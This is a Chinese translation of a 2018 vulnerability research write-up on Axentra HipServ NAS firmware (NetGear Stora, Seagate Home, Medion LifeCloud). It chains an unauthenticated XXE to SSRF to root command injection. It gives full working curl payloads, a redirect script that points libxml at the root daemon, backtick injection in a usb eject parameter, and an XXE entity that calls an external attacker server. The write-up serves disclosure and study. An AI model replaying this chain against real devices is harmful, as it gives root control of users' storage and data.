分析NetGear Stora、SeaGate Home以及Medion LifeCloud NAS上的RCE零日漏洞

原文链接:http://www.paulosyibelo.com/2018/11/zero-day-rce-via-xxe-ssrf-on-netgear.html

0x00 前言

不久之前,在听到加利福尼亚州对互联网连接设备安全性比较关注之后,Daniel Eshetu和我正在探索当前流行的网络附加存储(NAS)设备的安全状态。 加利福尼亚消费者隐私权法案要求制造商拥有强化和高于平均水平的企业安全性,对设备非常关注,主要针对的是互联网连接的“物联网”设备。 在我看来,对于传播速度如此之快的设备,必须符合这样的安全标准,特别是如果这些设备被制造出来后无人维护,那更需要满足硬性要求。

在剖析第一个NAS的固件时,我们发现自己面对的并不是易被攻击的那些kumbaya代码库。 Axentra的代码比较干净,没有明显的后门,甚至有适当的安全措施,以防出现问题。 在线搜索后,我们可以找到大约200万台在线NAS。 这些都是有趣的目标、传播广泛、代码库较优秀。 我们的研究得到了隐私权倡导者WizCase的支持。

这是一篇长文章,详细介绍了如何利用棘手的XXE和SSRF实现RCE漏洞。

0x01 Axentra

Axentra Hipserv是一款运行在多种设备上的NAS操作系统,其中包括NetGear Stora、SeaGate Home以及Medion LifeCloud NAS,并为不同设备提供基于云的登录、文件存储和管理功能。 不同供应商的不同设备都用到了这个系统。 该公司提供的固件主要以PHP页面作为后端Web界面。 Web界面具有rest API端点和具有文件管理器支持的非常典型的Web管理界面。

0x02 固件分析

使用binwalk提取固件后,我们发现后端源码位于/var/www/html/中,webroot位于/var/www/html/html中。 Web界面的主要处理程序是homebase.php,而RESTAPIController.php是其rest API的主要处理程序。 所有的php文件都使用具有公共解码器的IONCube进行编码的,由于使用的版本是旧版本,解码文件并不需要很长时间。

文件被解码后,我们继续查看源代码,其中大部分内容可读性较高。 在初步分析期间,我们查看了我们认为可能被利用的不同配置文件。 其中一个是位于/etcphp.ini,它包含配置行register_globals = on,这非常令人兴奋,因为打开register_globals是一个非常不安全的配置,可能会导致许多漏洞存在。 然而查看整个源代码后,我们找不到任何可通过此方法利用的代码块。 前面提到Axentra代码编写得很好,变量经过适当初始化、使用和仔细检查,因此register_globals无法发挥作用。

当我们不断浏览源代码并转移到REST-API端点时,事情变得更加有趣,初始请求通过RESTAPIController.php进行路由,后者会从/var/www/html/classes/REST中加载适当的类,而服务类位于/var/www/html/classes/REST/services的各个文件夹中。 在查看服务时,大多数服务都经过了适当的身份验证,但有一些例外情况,其中包括文件系统中/www/html/classes/REST/services/aggregator的请求聚合器端点,以及来自Web url的/api/2.0/rest/aggregator/xml。 我们将了解此服务的工作原理,分析我们如何利用该服务。

目录中的第一个文件是AxAggregatorRESTService.php。 此文件定义并构造rest服务。 每个服务目录中都存在相同结构的文件,其中不同的名称都以相同的RESTService.php后缀结尾。 在这个文件中有一些有趣的行(如下所示)。 请注意,行号可能不准确,因为文件已被解码,我们没有可以去删掉解码器生成的标题(每个文件开头的注释块加上随机中断)。

突破点A/var/www/html/classes/REST/services/aggregator/AxAggregatorRESTService.php

line 13: private $requiresAuthenticatedHipServUser = false; //This shows the service does not require authentication.
line 14: private $serviceName = 'aggregator'; //the service name..
...
line 17-18:
    if (( count( $URIArray ) == 1 && $URIArray[0] == 'xml' )) { // If number of uri paths passed to the service is 1 and the first path to the service is xml
                $resourceClassName = $this->loadResourceClass( 'XMLAggregator' ); // Load a resource class XMLAggregator

第18行的代码调用了名为loadResourceClass的一个函数,该由axentras RESTAPI框架提供,并在添加适当的前缀(Ax)和后缀(RESTResource.php)后从当前的rest服务目录加载资源(服务处理程序)类/文件。 该功能的代码如下所示。

classes/REST/AxAbstractRESTService.php

line 25-30:
function loadResourceClass($resourceName) {
            $resourceClassName = 'Ax' . $this->resourcesClassNamePrefix . ucfirst( $resourceName ) . 'RESTResource';
            require_once( REST_SERVICES_DIR . $this->serviceName . '/' . $resourceClassName . '.php' );
            return $resourceClassName;
        }
    }

我们必须查看的下一个文件是AxXMLAggregatorRESTResource.php,它由REST框架加载和执行。 此文件定义了REST API端点的功能,其中包含我们发现的第一个漏洞(XXE)。 我们来看看代码吧。

/var/www/html/classes/REST/services/aggregator/AxXMLAggregatorRESTResource.php

line 14:
    DOMDocument $mDoc = new DOMDocument(); //Intialize a DOMDocument loader class

line 16:
    if (( ( ( $requestBody == '' || !$mDoc->loadXML( $requestBody, LIBXML_NOBLANKS ) ) || !$mRequestsNode = $mDoc->documentElement ) || $mRequestsNode->nodeName != 'requests' )) {
                AxRecoverableErrorException;
                throw new ( null, 3 );
            }

如上所述,第16行表示用户加载xml而不进行验证。 现在大多数php程序员和安全研究人员都认为这不容易受到攻击,因为默认情况下libxml中禁用了外部实体加载,因为我们的代码没有调用libxml_disable_entity_loader(false),但有一点需要注意的是Axentra固件使用libxml库来解析xml数据,libxml默认从libxml2版本2.9开始禁用外部实体加载,但Axentras固件2.6版本默认情况下并没有禁用加载外部实体,这会导致XXE攻击。我们可以使用以下请求测试XXE。

所使用的curl命令及输出分别如下:

命令:

curl -kd '<?xml version="1.0"?><!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM "http://SolarSystem:9091/XXE_CHECK"> %dtd; ]> <requests> <request href="/api/2.0/rest/3rdparty/facebook/" method="GET"></request> </requests>' http://axentra.local/api/2.0/rest/aggregator/xml

输出结果:

<?xml version="1.0"?>
<responses>
<response method="GET" href="/api/2.0/rest/3rdparty/facebook/">
<errors><error code="401" msg="Unauthorized"/></errors>
</response>
</responses>%

在监听服务器上可以看到如下结果:

root@Server:~# nc -lvk 9091
Listening on [0.0.0.0] (family 0, port 9091)
Connection from [axentra.local] port 9091 [tcp/*] accepted (family 2, sport 41528)
GET /XXE_CHECK HTTP/1.0
Host: SolarSystem:9091

^C
root@Server:~#

现在我们发现了XXE漏洞,我们可以尝试读取文件并尝试挖掘敏感信息,但最终我们想要完全实现远程控制。 第一个想法是提取包含所有用户名和密码的sqlite数据库,但事实证明此路不通,因为xxe和二进制数据不能很好地协同工作,即使使用php过滤器编码数据也不行。 由于这种方法需要Web界面中的另一个RCE才能完全控制设备,我们需要尝试新的东西。

由于我们可以从设备发出请求(SSRF),因此如果请求来自localhost(非常常见的问题,或者可以称之为功能?),我们可以借此尝试找到绕过身份验证的位置。 然而我们找不到任何突破口,所以我们进入NAS系统的内部,想澄清系统如何以root身份执行命令(特权操作)。 现在,如果Web服务器使用的用户标识具有某种sudo权限,则我们可能无法查看,但事实并非如此。 由于我们在最初粗略分析固件时就看到了这一点,因此我们知道系统会以另一种方式来执行命令。 经过几分钟的搜索,我们找到了一个守护程序,系统用它来执行命令并找到与此守护程序通信的php脚本。 我们将在下面详细分析。

对此守护程序的请求使用xml格式发送,该文件位于/var/www/html/classes/AxServerProxy.php中,该文件调用名为systemProxyRequest的函数来发送请求。 systemProxyRequest位于同一文件中,代码如下所示。

/var/www/html/classes/AxServerProxy.php

line 1564-1688:
function systemProxyRequest($command, $operation, $params = array(  ), $reqData = '') {
            $Proc = true;
            $host = '127.0.0.1';
            $port = 2000;
            $fp = fsockopen( $host, $port, $errno, $errstr );
            if (!$fp) {
                AxRecoverableErrorException;
                throw new ( 'Could not connect to sp server', 4 );
            }
            if ($Proc) {
                unset( $root );
                DOMDocument;
                $doc = new ( '1.0' );
                $root = $doc->createElement( 'proxy_request' );
                $cmdNode = $doc->createElement( 'command_name' );
                $cmdNode->appendChild( $doc->createTextNode( $command ) );
                $root->appendChild( $cmdNode );
                $opNode = $doc->createElement( 'operation_name' );
                $opNode->appendChild( $doc->createTextNode( $operation ) );
                $root->appendChild( $opNode );



                        if ($reqData[0] == '<') {
                            if (substr( $reqData, 0, 5 ) == '<?xml') {
                                $reqData = preg_replace( '/<\?xml.*?\?>/', '', $reqData );
                            }

                            DOMDocument;
                            $reqDoc = new (  );
                            $reqData = str_replace( '', '', $reqData );
                            $reqDoc->loadXML( $reqData );
                            $mNewNode = $doc->importNode( $reqDoc->documentElement, true);
                            $dNode->appendChild( $mNewNode );
                        } 
….
                    $root->appendChild( $dNode );
                }
                if ($root) {
                    $doc->appendChild( $root );
                    fputs( $fp, $doc->saveXML(  ) . '' );
                }

                $Resp = '';
                stream_set_timeout( $fp, 120 );
                while (!feof( $fp )) {
                    $Resp .= fread( $fp, 1024 );
                    $info = stream_get_meta_data( $fp );

                    if ($info['timed_out']) {
                        return array( 'return_code' => 'FAILURE', 'description' => 'System Proxy Timeout', 'error_code' => 4, 'return_message' => '', 'return_value' => '' );
                    }
                }

如上所述,该函数接受xml数据并清除像空格符之类的东西,并将其发送到在本地2000端口上监听的守护进程。 守护程序位于/sbin/oe-spd,是一个二进制文件,因此我们使用IDA查看它,以下代码片段由IDA中的Hex-Rays反编译器生成。

在函数sub_A810中:

该函数将来自socket的数据作为参数(a2),解析该数据。

突破点B

signed int __fastcall sub_A810(int a1, const char **a2) line 52:

    v10 = strstr(*v3, "<?xml version=\"1.0\"?>"); // strstr skips over junk data until requested string is found (<?xml version=1.0 ?>)

上面这一行对我们来说很重要,主要是因为请求是通过HTTP协议发送的,因此守护进程会跳过垃圾数据,允许我们将有效负载嵌入到发往http://127.0.0.1:2000的http请求中( 守护进程端口),并且不用去担心由于未知字符而导致的格式化;这与xml之后的垃圾数据享受同样的待遇。

现在,我们直接跳过了oe-spd守护程序整个代码,不去分析具体工作流程,这主要是因为我们的目标是找到并利用一个简单的RCE错误,我们需要测试一些我们可以实现的方法。我们手头上掌握来自AxServerProxy.php的消息格式和一些来自usr/lib/spd/scripts/的消息格式。 我们用来查找RCE的方法是通过curl发送请求,并在qemu环境中运行时使用strace来跟踪进程,这有助于我们使用正确的参数过滤掉execve调用,以便作为攻击负载。 这里需要注意的是,在这个守护进程中有很多易受攻击的函数,但在下面我们只展示了我们用来实现RCE的函数。 如果感兴趣,大家可以使用我们上面给出的提示来探索守护进程。

我们使用的curl命令及响应如下所示:

curl -vd '<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">BOGUS_DEVICE</parameter></proxy_request>' http://127.0.0.1:2000/
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 2000 (#0)
> POST / HTTP/1.1
> Host: 127.0.0.1:2000
> User-Agent: curl/7.61.1
> Accept: */*
> Content-Length: 179
> Content-Type: application/x-www-form-urlencoded
> 
* upload completely sent off: 179 out of 179 bytes
<?xml version="1.0"?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code="SUCCESS" description="Operation successful" />
</proxy_return>

strace命令及输出结果如下:

sudo strace -f -s 10000000 -q -p 2468 -e execve
[pid  2510] execve("/usr/lib/spd/usb", ["/usr/lib/spd/usb"], 0x63203400 /* 22 vars */ <unfinished ...>
[pid  2511] +++ exited with 0 +++
[pid  2510] <... execve resumed> )      = 0
[pid  2513] execve("/bin/sh", ["sh", "-c", "/usr/lib/spd/scripts/usb/usbremoveall /dev/BOGUS_DEVICE manual"], 0x62c67f10 /* 22 vars */ <unfinished ...>
[pid  2514] +++ exited with 0 +++
[pid  2513] <... execve resumed> )      = 0
[pid  2513] execve("/usr/lib/spd/scripts/usb/usbremoveall", ["/usr/lib/spd/scripts/usb/usbremoveall", "/dev/BOGUS_DEVICE", "manual"], 0x62a65800 /* 22 vars */ <unfinished ...>
[pid  2515] +++ exited with 0 +++
[pid  2513] <... execve resumed> )      = 0
[pid  2517] execve("/bin/sh", ["sh", "-c", "grep /dev/BOGUS_DEVICE /etc/mtab"], 0x63837f80 /* 22 vars */ <unfinished ...>
[pid  2518] +++ exited with 0 +++
[pid  2517] <... execve resumed> )      = 0
[pid  2517] execve("/bin/grep", ["grep", "/dev/BOGUS_DEVICE", "/etc/mtab"], 0x64894000 /* 22 vars */ <unfinished ...>
[pid  2519] +++ exited with 0 +++
[pid  2517] <... execve resumed> )      = 0
[pid  2520] +++ exited with 1 +++
[pid  2517] +++ exited with 1 +++
[pid  2513] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2517, si_uid=0, si_status=1, si_utime=4, si_stime=3} ---
[pid  2516] +++ exited with 1 +++
[pid  2513] +++ exited with 1 +++
[pid  2510] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2513, si_uid=0, si_status=1, si_utime=16, si_stime=6} ---
[pid  2512] +++ exited with 0 +++
[pid  2510] +++ exited with 0 +++
[pid  2508] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2510, si_uid=0, si_status=0, si_utime=4, si_stime=1} ---
[pid  2509] +++ exited with 1 +++
[pid  2508] +++ exited with 1 +++

命令执行漏洞在这里清晰可见,除非你没有注意到这个信息。其实就在strace输出中的第4行,显示输入(BOGUS_DEVICE)被传递给/bin/sh调用,现在我们发送一个测试注入,来查看我们的命令执行是否有效。

curl命令及输出结果如下所示:

curl -vd '<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">`echo pwnEd`</parameter></proxy_request>' http://127.0.0.1:2000/
<?xml version="1.0"?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code="SUCCESS" description="Operation successful" />
</proxy_return>

Strace的输出结果如下:

[pid  2550] execve("/usr/lib/spd/usb", ["/usr/lib/spd/usb"], 0x63203400 /* 22 vars */ <unfinished ...>
[pid  2551] +++ exited with 0 +++
[pid  2550] <... execve resumed> )      = 0
[pid  2553] execve("/bin/sh", ["sh", "-c", "/usr/lib/spd/scripts/usb/usbremoveall /dev/`echo pwnEd` manual"], 0x6291cf10 /* 22 vars */ <unfinished ...>
…

如果仔细查看输出,可以看出我们在反引号中给出的echo pwnEd命令已被执行,输出被用作后续命令的一部分。 为了使这个PoC更简单,我们只需在/tmp中写一个文件,看看它是否存在于设备中即可。

curl -vd '<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">dev_`id>/tmp/pwned`</parameter></proxy_request>' http://127.0.0.1:2000/
…

现在我们已经用有完整的命令执行权限。 为了将这个错误与我们的XXE和SSRF联系起来,我们必须让xml解析器使用载荷向http://127.0.0.1:2000/发送请求。 虽然向守护程序发送正常的http请求不是问题,但是当我们尝试将载荷附加为xml文件中的url位置时,解析器失败并出现错误(无效的URL),所以我们不得不改变我们的方法。 在几次尝试失败后,我们发现libxml http客户端正确遵循了301/2重定向,这样就不会使解析器失败,因为重定向中给出的url不会由与xml数据中的初始url相同的解析器来处理,所以 我们创建了一个小的php脚本,将libxml http客户端重定向到http://127.0.0.1:2000/,并将载荷嵌入为url路径。该脚本如下所示。

redir.php

<?php
if(isset($_GET['red']))
{
    header('Location: http://127.0.0.1:2000/a.php?d=<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>""'); //302 Redirect 
}
?>

然后在服务器上运行载荷,所使用的命令及最终输出如下所示。

curl命令及输出结果如下:

curl -kd '<?xml version="1.0"?><!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM "http://SolarSystem:9091/redir.php?red=1"> %dtd; ]> <requests> <request href="/api/2.0/rest/3rdparty/facebook/" method="GET"></request> </requests>' http://axentra.local/api/2.0/rest/aggregator/xml
<?xml version="1.0"?>
<responses>
<response method="GET" href="/api/2.0/rest/3rdparty/facebook/">
<errors><error code="401" msg="Unauthorized"/></errors>
</response>
</responses>%
root@Server:~# php -S 0.0.0.0:9091
PHP 7.0.32-0ubuntu0.16.04.1 Development Server started at Thu Nov  1 16:02:16 2018
Listening on http://0.0.0.0:9091
Document root is /root/...
Press Ctrl-C to quit.
[Thu Nov  1 16:02:43 2018] axentra.local:39248 [302]: /redir.php?red=1

如上所示,php脚本向libxml http客户端发送了302(Found)响应,该客户端应将其重定向到http://127.0.0.1:2000/a.php?d=<?xml version="1.0"?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name="disk">aid>/var/www/html/html/pwned.txt</parameter></proxy_request>""

上面的重定向应该会执行我们的注入命令,并在webroot中创建一个pwned.txt文件,内容为id命令的输出结果,可以使用如下请求检查输出和文件是否存在。

curl命令及输出结果如下:

curl -k http://axentra.local/pwned.txt 
uid=0(root) gid=0(root)

非常好! 我们的pwned.txt已经成功创建,漏洞利用成功了。 我们有一个演示视频,展示从XXE到SSRF到RCE的完整漏洞利用链,最终创建了反向root shell。 我们很快就会发布视频和漏洞利用代码。

0x03 时间线

这项研究是我们研究更多NAS设备的基础(例如WD MyBook),我们借此发现了多个关键的root RCE漏洞,这些漏洞最终影响了来自西方国家的数百万台设备,这些漏洞发布在我们在WizCase博客上发布的研究成果中。 不幸的是,受影响的Axentra甚至是WD都选择了沉默。 有些人士回应声称这个影响数百万的漏洞不会有任何补丁。

在不久的将来,加利福尼亚消费者隐私权法案等法律的强制生效可以让制造商对其行为负责,在这种情况下,至少在漏洞修补方面我们能更有保障。

源链接

Hacking more

...